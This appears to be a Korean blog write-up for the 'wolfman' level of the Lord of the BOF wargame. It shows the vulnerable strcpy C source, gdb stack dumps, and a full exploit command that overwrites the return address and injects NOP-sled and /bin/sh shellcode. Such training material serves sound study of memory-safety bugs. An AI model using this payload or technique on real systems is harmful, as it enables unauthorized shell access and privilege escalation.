- User : orc
- 문제 : wolfman
wolfman.c의 소스코드는 다음과 같습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 | /* The Lord of the BOF : The Fellowship of the BOF - wolfman - egghunter + buffer hunter */ #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i; if(argc < 2){ printf("argv error\n"); exit(0); } // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); } strcpy(buffer, argv[1]); // Vulnerability!!! printf("%s\n", buffer); // buffer hunter memset(buffer, 0, 40); } | cs |
이전 문제와 차이점을 보면 buffer hunter가 추가되었습니다. main() 함수가 return 되기 직전에 buffer 부분을 모두 0으로 초기화 시키고 있습니다. 하지만 우리는 이전 문제에서도 buffer를 사용하지 않고 RET 뒤에 있는 argv[1]을 이용하였으므로 buffer hunter가 우습기만 합니다. 이전과 동일한 방법으로 문제를 풀겠습니다.
Step 1. 이전과 동일하게 GDB를 이용하여 buffer의 크기를 확인하면 40 Byte이고 이어서 SFP와 RET가 위치하는 것을 확인할 수 있습니다.
Step 2. buffer 부터 RET까지를 0xbf 값으로 덮어버리고 NOP 코드를 추가하여 RET에 덮어쓸 적절한 주소 값을 확인합니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | (gdb) b *0x80485c2 Breakpoint 1 at 0x80485c2 (gdb) r `python -c 'print "\xbf"*48+"\x90"*100'` Starting program: /home/orc/tmp/wolfman `python -c 'print "\xbf"*48+"\x90"*100'` Breakpoint 1, 0x80485c2 in main () (gdb) x/76x $esp 0xbffffa64: 0xbffffa70 0xbffffbf2 0x00000015 0xbfbfbfbf 0xbffffa74: 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf 0xbffffa84: 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf 0xbffffa94: 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf 0x90909090 0xbffffaa4: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffab4: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffac4: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffad4: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffae4: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffaf4: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffb04: 0xbffffc00 0xbffffebe 0xbffffedd 0xbffffef6 0xbffffb14: 0xbfffff0b 0xbfffff26 0xbfffff31 0xbfffff3d | cs |
Step 3. memset(buffer, 0, 40) 다음을 break pointer로 잡고 실제 buffer가 어떻게 초기화 되는 지 확인해 보겠습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | Breakpoint 2, 0x80485e3 in main () (gdb) x/76x $esp 0xbffffa60: 0xbffffa70 0x00000000 0x00000028 0x00000015 0xbffffa70: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffa80: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffa90: 0x00000000 0x00000000 0xbfbfbfbf 0xbfbfbfbf 0xbffffaa0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffab0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffac0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffad0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffae0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffaf0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffb00: 0x90909090 0xbffffc00 0xbffffebe 0xbffffedd 0xbffffb10: 0xbffffef6 0xbfffff0b 0xbfffff26 0xbfffff31 | cs |
Step 4. step 2에서 확인한 주소 값을 RET에 덮어 씌우고 그 다음에 이어서 NOP 코드를 100 Byte 입력한 후, shellcode를 집어 넣으면 문제가 해결됩니다. 다음과 같은 payload를 만들 수 있습니다.
1 2 3 | [orc@localhost orc]$ ./wolfman `python -c 'print "A"*44+"\xd4\xfa\xff\xbf"+"\x90"*100+"\x31\xc0\xb0\x31\xcd\x80 \x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3 \x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"'` | cs |
※ argv[1]의 값이 buffer에 복사되기 때문에 RET 뒤에 값이 실제 argv[1]의 메모리 영역이라 생각할 수 있지만, 실제 argv[1]의 메모리 영역은 buffer에서 특정 지점만큼 떨어져 있습니다. 정확한 개념은 wolfman 문제에서 다루겠습니다.
'WarGame > LOB' 카테고리의 다른 글
[LOB] darkelf :: 심볼릭 링크를 통한 argv[0] 길이 제한 우회 (0) | 2016.04.05 |
---|---|
[LOB] wolfman :: argv[2]를 이용한 BOF (0) | 2016.04.05 |
[LOB] goblin :: argv를 이용한 BOF (0) | 2016.04.04 |
[LOB] cobolt :: 환경변수를 이용한 BOF (0) | 2016.04.04 |
[LOB] gremlin :: 환경변수를 이용한 BOF (0) | 2016.04.04 |